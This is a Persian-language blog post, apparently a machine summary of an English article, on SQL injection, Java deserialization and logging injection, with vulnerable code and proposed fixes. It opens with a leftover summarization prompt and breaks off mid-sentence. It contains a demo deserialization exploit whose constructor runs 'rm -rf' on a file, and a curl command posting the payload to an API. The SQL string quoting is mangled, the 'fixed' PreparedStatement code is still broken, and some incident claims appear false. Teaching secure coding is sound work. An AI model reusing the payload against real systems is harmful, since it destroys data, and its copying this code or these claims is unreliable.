{"id":74975,"date":"2024-08-28T14:52:35","date_gmt":"2024-08-28T11:22:35","guid":{"rendered":"https:\/\/nabfollower.com\/blog\/top-security-flaws-hiding-in-your-code-right-now-and-how-to-fix-them-3id6\/"},"modified":"2024-08-28T14:52:35","modified_gmt":"2024-08-28T11:22:35","slug":"top-security-flaws-hiding-in-your-code-right-now-and-how-to-fix-them-3id6","status":"publish","type":"post","link":"https:\/\/nabfollower.com\/blog\/top-security-flaws-hiding-in-your-code-right-now-and-how-to-fix-them-3id6\/","title":{"rendered":"\u0628\u0631\u062a\u0631\u06cc\u0646 \u0646\u0642\u0635 \u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u06a9\u0647 \u062f\u0631 \u062d\u0627\u0644 \u062d\u0627\u0636\u0631 \u062f\u0631 \u06a9\u062f \u0634\u0645\u0627 \u067e\u0646\u0647\u0627\u0646 \u0634\u062f\u0647 \u0627\u0646\u062f &#8211; \u0648 \u0646\u062d\u0648\u0647 \u0631\u0641\u0639 \u0622\u0646\u0647\u0627"},"content":{"rendered":"<p>Summarize this content to 400 words in Persian Lang<br \/>\n            \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f9\u060c \u06cc\u06a9 \u0631\u062e\u0646\u0647 \u0645\u0639\u0631\u0648\u0641 \u062f\u0631 \u0628\u0627\u0632\u06cc \u0645\u0639\u0631\u0648\u0641 Fortnite\u060c \u0645\u06cc\u0644\u06cc\u0648\u0646\u200c\u0647\u0627 \u0628\u0627\u0632\u06cc\u06a9\u0646 \u0631\u0627 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062e\u0637\u0631 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f. \u0627\u06cc\u0646 \u062d\u0627\u062f\u062b\u0647 \u0627\u0647\u0645\u06cc\u062a \u0627\u06cc\u0645\u0646 \u0633\u0627\u0632\u06cc \u0635\u062d\u06cc\u062d \u067e\u0627\u06cc\u06af\u0627\u0647 \u0647\u0627\u06cc \u062f\u0627\u062f\u0647 SQL \u0631\u0627 \u0628\u0631\u062c\u0633\u062a\u0647 \u06a9\u0631\u062f.<\/p>\n<p>\u0627\u0645\u0627 \u0627\u06cc\u0646 \u06cc\u06a9 \u0645\u0648\u0636\u0648\u0639 \u0645\u0646\u0641\u0631\u062f \u0646\u06cc\u0633\u062a.<\/p>\n<p>\u062d\u0645\u0644\u0627\u062a \u0645\u062a\u0639\u062f\u062f\u06cc \u0634\u0627\u0645\u0644 \u062a\u0632\u0631\u06cc\u0642 SQL \u0631\u062e \u062f\u0627\u062f\u0647 \u0627\u0633\u062a\u060c \u0645\u0627\u0646\u0646\u062f \u062d\u0645\u0644\u0647\u200c\u0627\u06cc \u06a9\u0647 \u062a\u0633\u0644\u0627 \u062f\u0631 \u0633\u0627\u0644 2018 \u062a\u062c\u0631\u0628\u0647 \u06a9\u0631\u062f. \u062f\u0631 \u0622\u0646 \u0645\u0648\u0631\u062f\u060c \u06cc\u06a9 \u062d\u0645\u0644\u0647 \u062a\u0632\u0631\u06cc\u0642 SQL \u062f\u06cc\u06af\u0631 \u0628\u0631 \u06a9\u0646\u0633\u0648\u0644 Kubernetes \u062a\u0633\u0644\u0627 \u062a\u0623\u062b\u06cc\u0631 \u06af\u0630\u0627\u0634\u062a \u0648 \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0641\u0639\u0627\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u06a9\u0631\u06cc\u067e\u062a\u0648 \u0628\u0627\u0639\u062b \u062e\u0633\u0627\u0631\u0627\u062a \u0645\u0627\u0644\u06cc \u0634\u062f.<\/p>\n<p>\u0627\u0645\u0627 \u0627\u06cc\u0646 \u0641\u0642\u0637 \u062f\u0631 \u0645\u0648\u0631\u062f SQL Injection \u0646\u06cc\u0633\u062a.<\/p>\n<p>\u0628\u0631\u062f\u0627\u0631\u0647\u0627\u06cc \u062d\u0645\u0644\u0647 \u062f\u06cc\u06af\u0631\u06cc \u0646\u06cc\u0632 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f \u06a9\u0647 \u06a9\u062f \u0634\u0645\u0627 \u062f\u0631 \u062d\u0627\u0644 \u062d\u0627\u0636\u0631 \u0627\u0632 \u0622\u0646\u0647\u0627 \u0631\u0646\u062c \u0645\u06cc \u0628\u0631\u062f\u060c \u0647\u0645\u0627\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0634\u0631\u06a9\u062a \u0647\u0627\u06cc \u0628\u0632\u0631\u06af \u062f\u0631 \u06af\u0630\u0634\u062a\u0647 \u0622\u0633\u06cc\u0628 \u062f\u06cc\u062f\u0647 \u0627\u0646\u062f. <\/p>\n<p>\u0647\u0645\u0627\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u0633\u0627\u0644 2021 \u062f\u0631 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647 Log4J \u0628\u0647 \u0646\u0627\u0645 Log4Shell \u06a9\u0647 \u0634\u0627\u0645\u0644 \u06cc\u06a9 \u062d\u0645\u0644\u0647 logging injection \u0628\u0648\u062f \u06a9\u0647 \u062a\u0627 \u0628\u0647 \u0627\u0645\u0631\u0648\u0632 \u0645\u06cc\u0644\u06cc\u0648\u0646 \u0647\u0627 \u0633\u0631\u0648\u0631 \u0631\u0627 \u062f\u0631 \u0633\u0631\u0627\u0633\u0631 \u062c\u0647\u0627\u0646 \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u060c \u06cc\u0627 \u062f\u0631 \u0633\u0627\u0644 2022 \u062f\u0631 Atlassian Jira \u06a9\u0647 \u0634\u0627\u0645\u0644 \u06cc\u06a9 \u062d\u0645\u0644\u0647 deserialization \u0628\u0648\u062f \u06a9\u0647 \u0686\u0646\u062f\u06cc\u0646 \u0646\u0633\u062e\u0647 \u0627\u0632 Jira \u0631\u0627 \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f \u0648 \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u0631\u0627 \u0628\u0647 \u062c\u06cc\u0631\u0627 \u0648\u0627\u06af\u0630\u0627\u0631 \u06a9\u0631\u062f. \u0645\u0647\u0627\u062c\u0645<\/p>\n<p>\u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0628\u0631\u0627\u06cc \u0647\u0631 \u06a9\u0633\u06cc \u0627\u062a\u0641\u0627\u0642 \u0628\u06cc\u0641\u062a\u062f\u060c \u062d\u062a\u06cc \u0628\u0631\u0627\u06cc \u0634\u0645\u0627.<\/p>\n<p>\u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647\u060c \u0645\u0646 \u062f\u0631 \u0645\u0648\u0631\u062f 3 \u062d\u0645\u0644\u0647 \u0631\u0627\u06cc\u062c \u062f\u0631 \u06a9\u062f \u0628\u062d\u062b \u062e\u0648\u0627\u0647\u0645 \u06a9\u0631\u062f: \u062a\u0632\u0631\u06cc\u0642 SQL\u060c \u062a\u0632\u0631\u06cc\u0642 Deserialization\u060c \u0648 Logging Injection \u0648 \u0646\u062d\u0648\u0647 \u062d\u0644 \u0622\u0646\u0647\u0627.<\/p>\n<p>  SQL Injection<\/p>\n<p>\u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0631\u0627 \u062f\u0631 \u067e\u0627\u06cc\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u062f\u0627\u062f\u0647 \u0630\u062e\u06cc\u0631\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0645\u0639\u0645\u0648\u0644\u0627\u064b \u0627\u0632 \u0645\u0642\u0627\u062f\u06cc\u0631 \u062a\u0648\u0644\u06cc\u062f \u0634\u062f\u0647 \u062a\u0648\u0633\u0637 \u06a9\u0627\u0631\u0628\u0631 \u0628\u0631\u0627\u06cc \u0628\u0631\u0631\u0633\u06cc \u0645\u062c\u0648\u0632\u0647\u0627\u060c \u0630\u062e\u06cc\u0631\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u06cc\u0627 \u0628\u0647 \u0633\u0627\u062f\u06af\u06cc \u0628\u0627\u0632\u06cc\u0627\u0628\u06cc \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0630\u062e\u06cc\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u062c\u062f\u0627\u0648\u0644\u060c \u0627\u0633\u0646\u0627\u062f\u060c \u0646\u0642\u0627\u0637\u060c \u06af\u0631\u0647\u200c\u0647\u0627 \u0648 \u063a\u06cc\u0631\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.<\/p>\n<p>\u062f\u0631 \u0622\u0646 \u0644\u062d\u0638\u0647\u060c \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u0627 \u0627\u0632 \u0627\u06cc\u0646 \u0645\u0642\u0627\u062f\u06cc\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0627\u062f\u0631\u0633\u062a \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc \u0627\u0636\u0627\u0641\u06cc \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\u0647 \u0628\u0647 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0628\u0627\u0632\u06cc\u0627\u0628\u06cc \u0645\u0642\u0627\u062f\u06cc\u0631 \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u06cc\u0627 \u062d\u062a\u06cc \u062a\u063a\u06cc\u06cc\u0631 \u0622\u0646 \u062c\u062f\u0627\u0648\u0644 \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u0645\u0639\u0631\u0641\u06cc \u06a9\u0646\u0646\u062f.<\/p>\n<p>\u06a9\u062f \u0632\u06cc\u0631 \u0628\u0627 \u062f\u0631 \u0646\u0638\u0631 \u06af\u0631\u0641\u062a\u0646 \u0646\u0627\u0645 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0627\u0631\u0627\u0626\u0647 \u0634\u062f\u0647 \u062f\u0631 \u0635\u0641\u062d\u0647 \u0648\u0631\u0648\u062f\u060c \u06a9\u0627\u0631\u0628\u0631 \u0631\u0627 \u0627\u0632 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u0628\u0627\u0632\u06cc\u0627\u0628\u06cc \u0645\u06cc \u06a9\u0646\u062f. \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc \u0631\u0633\u062f \u0647\u0645\u0647 \u0686\u06cc\u0632 \u062e\u0648\u0628 \u0627\u0633\u062a.<\/p>\n<p>public List findUsers(String user, String pass) throws Exception {<br \/>\n       String query = &#8220;SELECT userid FROM users &#8221; +<br \/>\n                   &#8220;WHERE username=&#8221;&#8221; + user + &#8220;&#8221; AND password='&#8221; + pass + &#8220;&#8216;&#8221;;<br \/>\n       Statement statement = connection.createStatement();<br \/>\n       ResultSet resultSet = statement.executeQuery(query);<br \/>\n       List users = new ArrayList();<br \/>\n       while (resultSet.next()) {<br \/>\n           users.add(resultSet.getString(0));<br \/>\n       }<br \/>\n       return users;<br \/>\n   }<\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u0632 \u062a\u06a9\u0646\u06cc\u06a9\u200c\u0647\u0627\u06cc \u062a\u0632\u0631\u06cc\u0642 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0627\u06cc\u0646 \u06a9\u062f \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062f\u0631\u0648\u0646\u200c\u06cc\u0627\u0628\u06cc \u0631\u0634\u062a\u0647\u200c\u0627\u06cc\u060c \u0646\u062a\u0627\u06cc\u062c \u063a\u06cc\u0631\u0645\u0646\u062a\u0638\u0631\u0647\u200c\u0627\u06cc \u0631\u0627 \u0628\u0647 \u0647\u0645\u0631\u0627\u0647 \u062e\u0648\u0627\u0647\u062f \u062f\u0627\u0634\u062a \u0648 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u0648\u0631\u0648\u062f \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0627 \u0645\u06cc\u200c\u062f\u0647\u062f.<\/p>\n<p>\u0628\u0631\u0627\u06cc \u0631\u0641\u0639 \u0627\u06cc\u0646 \u0645\u0634\u06a9\u0644\u060c \u0627\u06cc\u0646 \u0631\u0648\u06cc\u06a9\u0631\u062f \u0631\u0627 \u0627\u0632 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0644\u062d\u0627\u0642 \u0631\u0634\u062a\u0647 \u0628\u0647 \u062a\u0632\u0631\u06cc\u0642 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 \u062a\u063a\u06cc\u06cc\u0631 \u0645\u06cc \u062f\u0647\u06cc\u0645. \u062f\u0631 \u0648\u0627\u0642\u0639\u060c \u0627\u0644\u062d\u0627\u0642 \u0631\u0634\u062a\u0647 \u0647\u0627 \u0628\u0647 \u0637\u0648\u0631 \u06a9\u0644\u06cc \u0627\u0632 \u0646\u0638\u0631 \u0639\u0645\u0644\u06a9\u0631\u062f \u0648 \u0627\u0645\u0646\u06cc\u062a \u0627\u06cc\u062f\u0647 \u0628\u062f\u06cc \u0627\u0633\u062a.<\/p>\n<p>String query = &#8220;SELECT userid FROM users &#8221; +<br \/>\n               &#8220;WHERE username=&#8221;&#8221; + user + &#8220;&#8221; AND password='&#8221; + pass + &#8220;&#8216;&#8221;;<\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u062a\u063a\u06cc\u06cc\u0631 \u062f\u0631\u062c \u0645\u0642\u0627\u062f\u06cc\u0631 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 \u0628\u0647 \u0637\u0648\u0631 \u0645\u0633\u062a\u0642\u06cc\u0645 \u062f\u0631 \u0631\u0634\u062a\u0647 SQL\u060c \u0628\u0647 \u067e\u0627\u0631\u0627\u0645\u062a\u0631\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0639\u062f\u0627\u064b \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0647 \u0622\u0646\u0647\u0627 \u0645\u0631\u0627\u062c\u0639\u0647 \u06a9\u0646\u06cc\u0645\u060c \u0645\u0634\u06a9\u0644 \u067e\u0631\u0633 \u0648 \u062c\u0648\u0647\u0627\u06cc \u0647\u06a9 \u0634\u062f\u0647 \u0631\u0627 \u062d\u0644 \u0645\u06cc \u06a9\u0646\u062f.<\/p>\n<p> String query = &#8220;SELECT userid FROM users WHERE username = ? AND password = ?&#8221;;<\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u06a9\u062f \u062b\u0627\u0628\u062a \u0645\u0627 \u0628\u0627 \u0622\u0645\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u0648 \u062a\u0646\u0638\u06cc\u0645 \u0645\u0642\u062f\u0627\u0631 \u0628\u0631\u0627\u06cc \u0647\u0631 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 \u0628\u0647 \u0627\u06cc\u0646 \u0634\u06a9\u0644 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f.<\/p>\n<p>    public List findUsers(String user, String pass) throws Exception {<br \/>\n       String query = &#8220;SELECT userid FROM users WHERE username = ? AND password = ?&#8221;;<br \/>\n       try (PreparedStatement statement = connection.prepareStatement(query)) {<br \/>\n           statement.setString(1, user);<br \/>\n           statement.setString(2, pass);<br \/>\n           ResultSet resultSet = statement.executeQuery(query);<br \/>\n           List users = new ArrayList();<br \/>\n           while (resultSet.next()) {<br \/>\n               users.add(resultSet.getString(0));<br \/>\n           }<br \/>\n           return users;<br \/>\n       }<br \/>\n    }<\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u0642\u0648\u0627\u0646\u06cc\u0646 SonarQube \u0648 SonarCloud \u06a9\u0647 \u0628\u0647 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0632\u0631\u06cc\u0642 SQL \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0631\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u062f.<\/p>\n<p>  \u062a\u0632\u0631\u06cc\u0642 \u062f\u0633\u0631\u06cc\u0627\u0644\u06cc\u0632\u0627\u0633\u06cc\u0648\u0646<\/p>\n<p>Deserialization \u0641\u0631\u0622\u06cc\u0646\u062f \u062a\u0628\u062f\u06cc\u0644 \u062f\u0627\u062f\u0647 \u0647\u0627 \u0627\u0632 \u06cc\u06a9 \u0642\u0627\u0644\u0628 \u0633\u0631\u06cc\u0627\u0644\u06cc (\u0645\u0627\u0646\u0646\u062f \u06cc\u06a9 \u062c\u0631\u06cc\u0627\u0646 \u0628\u0627\u06cc\u062a\u060c \u0631\u0634\u062a\u0647 \u06cc\u0627 \u0641\u0627\u06cc\u0644) \u0628\u0647 \u06cc\u06a9 \u0634\u06cc \u06cc\u0627 \u0633\u0627\u062e\u062a\u0627\u0631 \u062f\u0627\u062f\u0647 \u0627\u06cc \u0627\u0633\u062a \u06a9\u0647 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0628\u0627 \u0622\u0646 \u06a9\u0627\u0631 \u06a9\u0646\u062f.<\/p>\n<p>\u06a9\u0627\u0631\u0628\u0631\u062f\u0647\u0627\u06cc \u0645\u062a\u062f\u0627\u0648\u0644 deserialization \u0634\u0627\u0645\u0644 \u062f\u0627\u062f\u0647 \u0647\u0627\u06cc\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0628\u06cc\u0646 API \u0647\u0627 \u0648 \u0633\u0631\u0648\u06cc\u0633 \u0647\u0627\u06cc \u0648\u0628 \u0628\u0647 \u0634\u06a9\u0644 \u0633\u0627\u062e\u062a\u0627\u0631\u0647\u0627\u06cc JSON \u06cc\u0627 \u062f\u0631 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0627\u06cc \u0645\u062f\u0631\u0646 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 RPC (Remote Procedure Call) \u0628\u0647 \u0634\u06a9\u0644 \u067e\u06cc\u0627\u0645 \u0647\u0627\u06cc \u067e\u0631\u0648\u062a\u0648\u0628\u0627\u0641 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc \u0634\u0648\u062f.<\/p>\n<p>\u0627\u06af\u0631 \u0647\u06cc\u0686 \u06af\u0627\u0645\u06cc \u0628\u0631\u0627\u06cc \u067e\u0627\u06a9\u0633\u0627\u0632\u06cc \u06cc\u0627 \u0628\u0631\u0631\u0633\u06cc \u0627\u062c\u0631\u0627 \u0646\u0634\u0648\u062f\u060c \u062a\u0628\u062f\u06cc\u0644 \u0628\u0627\u0631 \u067e\u06cc\u0627\u0645 \u0628\u0647 \u06cc\u06a9 \u0634\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u062c\u062f\u06cc \u0631\u0627 \u0628\u0647 \u0647\u0645\u0631\u0627\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f.<\/p>\n<p>   protected void doGet(HttpServletRequest request, HttpServletResponse response) {<br \/>\n       ServletInputStream servletIS = request.getInputStream();<br \/>\n       ObjectInputStream  objectIS  = new ObjectInputStream(servletIS);<br \/>\n       User user                 = (User) objectIS.readObject();<br \/>\n     }<br \/>\n   class User implements Serializable {<br \/>\n       private static final long serialVersionUID = 1L;<br \/>\n       private String name;<\/p>\n<p>       public User(String name) {<br \/>\n           this.name = name;<br \/>\n       }<\/p>\n<p>       public String getName() {<br \/>\n           return name;<br \/>\n       }<br \/>\n   }<\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u0645\u0627 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0645\u06cc \u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0645\u0627 \u0627\u0632 \u0622\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u06cc\u0645 objectIS\u060c \u06cc\u06a9 \u0645\u0642\u062f\u0627\u0631 \u0645\u0633\u062a\u0642\u06cc\u0645 \u06a9\u0647 \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u062f\u0631 \u062c\u0631\u06cc\u0627\u0646 \u0648\u0631\u0648\u062f\u06cc \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0645\u06cc \u0622\u06cc\u062f \u0648 \u0622\u0646 \u0631\u0627 \u0628\u0647 \u06cc\u06a9 \u0634\u06cc \u062c\u062f\u06cc\u062f \u062a\u0628\u062f\u06cc\u0644 \u0645\u06cc \u06a9\u0646\u062f.\u0645\u0627 \u0627\u0646\u062a\u0638\u0627\u0631 \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 \u0647\u0645\u06cc\u0634\u0647 \u06cc\u06a9\u06cc \u0627\u0632 \u06a9\u0644\u0627\u0633 \u0647\u0627\u06cc\u06cc \u0628\u0627\u0634\u062f \u06a9\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u0627 \u0627\u0632 \u0622\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u062f. \u0645\u0637\u0645\u0626\u0646\u0627\u060c \u0645\u0634\u062a\u0631\u06cc \u0645\u0627 \u0647\u0631\u06af\u0632 \u0686\u06cc\u0632 \u062f\u06cc\u06af\u0631\u06cc \u0627\u0631\u0633\u0627\u0644 \u0646\u0645\u06cc \u06a9\u0646\u062f\u060c \u062f\u0631\u0633\u062a \u0627\u0633\u062a\u061f \u0622\u06cc\u0627 \u0622\u0646\u0647\u0627\u061f<\/p>\n<p>\u0627\u0645\u0627 \u0627\u06af\u0631 \u06cc\u06a9 \u06a9\u0644\u0627\u06cc\u0646\u062a \u0645\u062e\u0631\u0628 \u06a9\u0644\u0627\u0633 \u062f\u06cc\u06af\u0631\u06cc \u0631\u0627 \u062f\u0631 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f \u0686\u0647\u061f<\/p>\n<p>   public class Exploit implements Serializable {<br \/>\n       private static final long serialVersionUID = 1L;<\/p>\n<p>       public Exploit() {<br \/>\n           \/\/ Malicious action: Delete a file<br \/>\n           try {<br \/>\n               Runtime.getRuntime().exec(&#8220;rm -rf \/tmp\/vulnerable.txt&#8221;);<br \/>\n           } catch (Exception e) {<br \/>\n               e.printStackTrace();<br \/>\n           }<br \/>\n       }<br \/>\n   }<\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u062f\u0631 \u0627\u06cc\u0646 \u062d\u0627\u0644\u062a\u060c \u06a9\u0644\u0627\u0633\u06cc \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0631\u0627 \u062f\u0631 \u0637\u0648\u0644 \u0633\u0627\u0632\u0646\u062f\u0647 \u067e\u06cc\u0634\u200c\u0641\u0631\u0636 \u062d\u0630\u0641 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u06a9\u0647 \u062f\u0631 \u0642\u0628\u0644\u06cc \u0627\u062a\u0641\u0627\u0642 \u0645\u06cc\u200c\u0627\u0641\u062a\u062f readObject \u062a\u0645\u0627\u0633 \u0628\u06af\u06cc\u0631\u06cc\u062f.<\/p>\n<p>\u0645\u0647\u0627\u062c\u0645 \u0641\u0642\u0637 \u0628\u0627\u06cc\u062f \u0627\u06cc\u0646 \u06a9\u0644\u0627\u0633 \u0631\u0627 \u0633\u0631\u06cc\u0627\u0644 \u06a9\u0631\u062f\u0647 \u0648 \u0628\u0647 API \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f:<\/p>\n<p>   Exploit exploit = new Exploit();<br \/>\n   FileOutputStream fileOut = new FileOutputStream(&#8220;exploit.ser&#8221;);<br \/>\n   ObjectOutputStream out = new ObjectOutputStream(fileOut);<br \/>\n   out.writeObject(exploit);<br \/>\n&#8230;<br \/>\n$ curl -X POST &#8211;data-binary @exploit.ser http:\/\/vulnerable-api.com\/user<\/p>\n<p>    \u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/p>\n<p>    \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/p>\n<p>\u062e\u0648\u0634\u0628\u062e\u062a\u0627\u0646\u0647 \u06cc\u06a9 \u0631\u0627\u0647 \u0622\u0633\u0627\u0646 \u0628\u0631\u0627\u06cc \u0631\u0641\u0639 \u0627\u06cc\u0646 \u0645\u0634\u06a9\u0644 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f. \u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u062c\u0627\u062f \u0634\u06cc\u060c \u0628\u0627\u06cc\u062f \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0622\u06cc\u0627 \u06a9\u0644\u0627\u0633\u06cc \u06a9\u0647 \u0642\u0631\u0627\u0631 \u0627\u0633\u062a deserialized \u0634\u0648\u062f \u0627\u0632 \u06cc\u06a9\u06cc \u0627\u0632 \u0627\u0646\u0648\u0627\u0639 \u0645\u062c\u0627\u0632 \u0627\u0633\u062a \u06cc\u0627 \u062e\u06cc\u0631.<\/p>\n<p>\u062f\u0631 \u06a9\u062f \u0628\u0627\u0644\u0627\u060c \u06cc\u06a9 ObjectInputStream \u062c\u062f\u06cc\u062f \u0627\u06cc\u062c\u0627\u062f \u06a9\u0631\u062f\u0647\u200c\u0627\u06cc\u0645 \u06a9\u0647 